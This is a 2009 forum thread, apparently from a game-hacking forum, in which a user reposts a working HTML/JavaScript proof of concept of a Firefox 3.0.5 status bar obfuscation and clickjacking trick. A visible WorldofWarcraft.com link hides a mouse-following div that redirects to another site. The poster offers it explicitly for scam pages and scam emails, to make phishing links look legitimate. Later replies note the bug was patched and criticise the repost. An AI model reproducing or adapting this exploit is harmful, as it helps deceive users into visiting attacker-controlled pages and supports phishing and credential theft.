Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

**Berilo** · 02-14-2009

That´s a little exploit to make the Bar of Firefox look like as the Browser would go to WorldofWarcraft.com or something else. You can use that in your scam page or Scam Email, so it looks more legit.

Please move it on the right place.

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking
Author : MrDoug
===========================================

Code:
<html>
<body>
<div id="mydiv"
onmouseover="document.location='http://www.mmowned.com';"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;border:0px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}
</script>
<center>
<br>
<font style="font-family:arial;font-size:32px">Status Bar Obfuscation
/ Clickjacking</font><br>
<font style="font-family:arial;font-size:24px">By MrDoug</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:20px">Click the VALID link to
google below to visit milw0rm.com</font><br>
<br>
<a href="http://www.WorldofWarcraft.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.WorldofWarcraft.com</font></a><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:16px">Greetz to Slappywag</font><br>
</center>
<div style="position:absolute;bottom:0;">
<font style="font-family:arial;font-size:32px">Note this...<br>
      | <br>
     V
</font>
</div>
</body>
</html>

**Cypher** · 02-14-2009

Rofl. Welcome to last month.

**Berilo** · 02-14-2009

Yes last month thats true but it isnt postet here yet. There are much people how don´t look on Websites like milw0rm. Thats my opinion.

greetings Berilo

**Cypher** · 02-14-2009

Stuff like this is fairly useless once a patch is out anyway. 3.0.6 has fixed this so meh. There's a billion patched vulnerabilities that aren't posted here, doesn't mean that they need to be posted here.

This isn't the place to copy-paste random exploits a month after they're disclosed. Go find a skiddie forum where people will love you for it.

**Berilo** · 02-14-2009

Oh sorry, you are right. I didn´t saw that it is patched.

How do you now that I am a kiddy? Have you seen my plushie and my baby's dummy.
I think kiddies have a better behaviour than you.

Please close or delete this threat. I failed

.

Sorry again.

greetings

Berilo

**Cypher** · 02-15-2009

Skiddie = Script Kiddie.

Script kiddie - Wikipedia, the free encyclopedia
Urban Dictionary: script kiddie

Shout-Out

User Tag List

Thread: Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

Thread Tools

Search Thread

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

Similar Threads

[FireFox guide] Search WoWHead from address bar! (With screenies)

[PC] Level Status Bar Generator

Make FireFox Load Pages Faster

Remove Website Title form Firefox 5.1+

The scrolling top 100 bar

OwnedCore Forums

casino

CoreCoins

My OwnedCore

About Us

Casino